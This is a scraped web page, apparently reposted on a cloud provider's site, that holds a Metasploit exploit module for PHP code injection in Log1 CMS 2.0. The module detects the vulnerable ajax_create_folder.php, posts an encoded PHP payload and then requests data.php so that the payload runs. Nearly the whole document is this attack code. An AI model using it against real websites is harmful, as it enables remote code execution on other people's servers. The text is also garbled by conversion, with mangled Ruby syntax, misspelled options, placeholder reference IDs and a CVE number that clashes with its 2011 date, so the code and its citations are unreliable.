Log1 CMS writeInfo () PHP code injection

Source: Internet
Author: User

##
# This file is part of the Metasploit Framework and may be subject
# Redistribution and specified cial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# Http://metasploit.com/framework/
##
 
Require 'msf/core'
 
Class Metasploit3 <Msf: Exploit: Remote
Rank = ExcellentRanking
 
Include Msf: Exploit: Remote: HttpClient
 
Def initialize (info = {})
Super (update_info (info,
'Name' => "Log1 CMS writeInfo () PHP Code Injection ",
'Description' => % q {
This module exploits the "Ajax File and Image Manager" component that can be
Found in log1 CMS. In function. base. php of this component, the 'data' parameter
In writeInfo () allows any malicious user to have direct control of writing data
To file data. php, which results in arbitrary remote code execution.
},
'License '=> MSF_LICENSE,
'Author' =>
[
'Egix ', # Found the bug in ajax_create_folder.php
'Adel sbm', # Found log1 CMS using the vulnerable ajax_create_folder.php
'Sinr3' # Metasploit
],
'References '=>
[
['Cve', '2017-2011 '],
['Ossvdb', '123'],
['Edb', '123'], # Egix's advisory
['Edb', '123'] # Adel's
],
'Payload' =>
{
'Badchars' => "\ x00"
},
'Defaultopexception' =>
{
'Exitfunction' => "none"
},
'Platform' => 'php ',
'Arch '=> ARCH_PHP,
'Targets' =>
[
['Log1 CMS 2.0 ', {}],
],
'Privileged' => false,
'Disclosuredate' => "Apr 11 2011 ",
'Defaulttarget' => 0 ))
 
Register_options (
[
OptString. new ('targeturi ', [true, 'the base path to log1 CMS', '/log1cms2.0/'])
], Self. class)
End
 
 
Def check
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
 
Res = send_request_raw ({
'Method' => 'get ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/ajax_create_folder.php"
})
 
If res and res. code = 200
Return Exploit: CheckCode: Detected
Else
Return Exploit: CheckCode: Safe
End
End www.2cto.com
 
 
Def exploit
Uri = target_uri.path
Uri <'/' if uri [-1, 1]! = '/'
 
Peer = "# {rhost }:# {rport }"
Php = % Q | # {rand_text_alpha (10) }=<? Php # {payload. encoded}?> |
 
Print_status ("# {peer}-Sending PHP payload (# {php. length. to_s} bytes )")
Send_request_cgi ({
'Method' => 'post ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/ajax_create_folder.php ",
'Data' => php
})
 
Print_status ("# {peer}-Requesting data. php ")
Send_request_raw ({
'Method' => 'get ',
'Uris '=> "# {uri} admin/libraries/ajaxfilemanager/inc/data. php"
})
 
Handler
End
End

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.